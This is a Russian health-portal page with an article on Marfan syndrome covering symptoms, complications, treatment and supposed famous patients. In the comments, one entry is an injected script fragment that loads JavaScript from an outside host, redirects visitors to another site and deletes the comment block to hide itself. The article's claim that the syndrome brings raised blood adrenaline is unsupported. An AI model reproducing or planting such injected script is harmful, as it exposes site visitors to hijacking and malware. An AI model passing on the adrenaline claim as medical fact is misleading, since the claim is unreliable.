Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Синдром Марфана  >>  Синдром Марфана
 
Обратная связь
 

Синдром Марфана

Размер шрифта
11 марта 2012 10:00
  • google_analytics: false
  • Нравится

Высокий и гибкий человек – это хорошо или плохо, или это болезнь? Ответ непростой, и требует разбирательства. Мы будем говорить о синдроме Марфана, и о том, что, как это ни странно, у него есть и положительные стороны.

1 

Синдром Марфана – наследственное заболевание соединительной ткани с вовлечением скелетно-мышечной и сердечно-сосудистой систем, сопровождающееся патологией глаз.

Клиническое описание этого заболевания впервые было дано французским педиатром А. Марфаном (1896). Заболевание это проявляется уже в детском возрасте, но большинство пациентов — молодые люди.

Дефекты некоторых генов, влияющих на образование и развитие соединительной ткани у человека, нередко приводят к непропорциональному гигантизму. При наиболее ярком проявлении этой доминантной особенности на свет появляются люди с очень длинными руками и ногами и относительно коротким туловищем.

Симптомы синдрома Марфана

  • Повышенная гибкость суставов.
  • Близорукость.
  • Проблемы с сердцем.

1

Со стороны сердечно-сосудистой системы возможны проблемы, например пролапс митрального клапана. Нередко развивается порок сердца.

Что делать

Ребенку с синдромом Марфана показаны частые обследования (по крайней мере 2 раза в год) в период роста, особенное внимание следует обращать на сердечно сосудистую систему и позвоночник (сколиоз). Если у ребенка уже есть близорукость и проблемы с сердцем, то нужно обязательно пройти обследование у врача-генетика.

Так как при этом состоянии могут быть серьезные осложнения:

  • Септический эндокардит.
  • Расслаивающая аневризма аорты.
  • Разрыв аорты.
  • Недостаточность аортального или митрального клапана.
  • Дилатация сердца.
  • Отслойка сетчатки.

Лечение

  • Против прогрессирования расширения аорты применяют препараты, которыми обычно лечат высокое артериальное давление.
  • Хирургическая операция для замены клапана сердца на искусственный.

До широкого распространения хирургической коррекции дефектов сердца, например вживления искусственного клапана, большинство пациентов с синдромом Марфана умирали до 35 лет. При адекватной коррекции продолжительность жизни большинства пациентов может быть нормальной.

Единственный плюс, который люди с синдромом Марфана получают от судьбы за свой порок, – повышенное содержание адреналина в крови, от которого напрямую зависит работоспособность человека. Синдромом Марфана страдали несколько известных людей, отличавшихся необычайной работоспособностью: Линкольн, Паганини, Андерсон, Чуковский.

 

Сюжеты по теме:
Болезненная активность. Синдром Марфана

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:51

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.